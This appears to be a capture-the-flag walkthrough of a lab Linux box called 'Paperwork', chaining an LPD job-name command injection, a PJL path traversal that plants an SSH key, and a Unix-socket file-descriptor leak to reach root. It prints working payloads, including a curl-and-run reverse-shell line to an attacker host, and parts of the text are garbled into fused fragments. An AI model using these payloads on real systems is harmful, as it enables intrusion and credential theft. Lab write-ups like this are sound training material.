Paperwork is a beginner-friendly Linux box built entirely around custom, home-rolled implementations of legacy printer protocols. Nothing here is a stock CVE — every step is a logic bug in a hand-written parser. The full chain:
shell=True subprocess calllp via reverse shell over the LPD (port 1515) serviceauthorized_keys file directly
into the service account's home directorySCM_RIGHTSnmap -sC -sV -p- --min-rate 5000 --disable-arp-ping <TARGET_IP> -oN nmap_initial.txt
Results:
paperwork.htb"Archive_Printer is ready and printing."
— this is an LPD (Line Printer Daemon, RFC 1179) serviceAdded the vhost to /etc/hosts and browsed the site — a plain "Intake Portal" page
referencing a print archival workflow, a queue named archive_intake, and a maintenance
notice that the "backend spooler management console is currently offline" — a hint that a management
component exists somewhere even if it's not directly reachable.
The LPD server's source was reachable through an unrelated leak on the site. The relevant logic:
job_name = "Unknown"
for line in decoded_content.split('\n'):
line = line.strip()
if line.startswith('J'):
job_name = line[1:]
break
subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True)
The job name comes straight from the J line of an attacker-supplied LPD control file
and is dropped into a shell=True command with no sanitization. Breaking out of the
single-quoted string with a stray ' lets us chain arbitrary commands.
0x02 + queue name),
followed by a control-file subcommand (0x02 + size + control filename), followed by the
raw control file bytes. A custom Python socket client handled all three steps and staged a
curl-and-execute payload as the injected job name to avoid quoting hell in the reverse shell one-liner
itself.
Payload logic (job name field):
x'; curl -s http://<LHOST>:8000/shell.sh -o /tmp/.s.sh; bash /tmp/.s.sh; echo '
Landed a reverse shell as lp.
linpeas surfaced a tempting but ultimately unused lead: /usr/bin/bash was world-writable.
Without a root-owned cron job, timer, or service invoking that binary, though, it was a dead end for this
chain — a good reminder not to chase the shiniest finding without confirming there's actually a trigger
for it.
The real thread came from the running process list: a root-owned daemon at
/usr/bin/paperwork-daemon, and a service running as a separate user, archivist:
archivi+ 982 /usr/bin/python3 /home/archivist/printer/jetdirect.py 9100 /home/archivist/printer/ /home/archivist/printer/logs/commands.log
paperwork-daemon's source revealed the shape of the rest of the box. It binds a Unix
socket at /run/paperwork/mgmt.sock (mode 660, group archivist), and
on every connection:
/home/archivist/printer/logs/commands.log for the strings
FSQUERY, FSUPLOAD, or FSDOWNLOAD — real HP PJL filesystem
command namesSCM_RIGHTS,
hands over live file descriptors for both the log file and
/etc/paperwork/admin_pins.conf — a root-owned secrets file we have no permission to
open directlyTwo blockers stood between us and that socket: it's only reachable by the archivist
group, which lp isn't in; and we needed a way to get those trigger strings into the log in
the first place.
jetdirect.py listens on 127.0.0.1:9100 only, running as archivist.
It implements a toy PJL filesystem inside a sandboxed root directory — but the path translation has no
containment check:
def _translate(self, path):
clean = path.replace("0:", "").replace("\\", "/").lstrip("/")
return os.path.normpath(os.path.join(self._root, clean))
A NAME="0:\..\..." value walks straight out of the sandbox. Since the service runs as
archivist, any file it reads or writes happens with that user's permissions — including
directories it was never meant to touch, like the account's own home directory one level up.
First pulled the service's own source via its upload command (also handy since lp lacked
permission to read the file directly through the filesystem):
@PJL FSUPLOAD NAME="0:\jetdirect.py" OFFSET=0 SIZE=99999
Then used the download command with a traversal path to drop an SSH key straight into
archivist's home directory (the write path even auto-creates missing parent directories):
@PJL FSDOWNLOAD NAME="0:\..\.ssh\authorized_keys" SIZE=<keylen> <public key bytes>
SSH'd in directly afterward:
ssh -i paperwork_archivist archivist@<TARGET_IP>
User flag secured.
As archivist, the mgmt.sock group restriction was no longer a problem. And
since the PJL commands sent during the traversal exploit had already written FSUPLOAD and
FSDOWNLOAD into commands.log, the daemon's malice check was already tripped —
the very next connection triggered the "lockdown" and its file descriptor leak.
Catching a passed FD over a Unix socket needs recvmsg with an ancillary data buffer sized
for SCM_RIGHTS, not a plain read:
fds = array.array("i")
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_LEN(2 * fds.itemsize))
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds.frombytes(cmsg_data)
Once unpacked, the two descriptors could be read directly with os.pread(fd, size, 0) —
no path, no permission check needed, since we already hold the open file handle itself. The second FD
contained:
ADMIN_PASSWORD=ApparelMortuaryCedar22
The leaked admin password was directly reused for the root account:
su root Password: ApparelMortuaryCedar22
Root flag secured.
/usr/bin/bash) is part of the
intended chain — confirm there's an actual trigger (cron, timer, service) before investing time in
weaponizing it.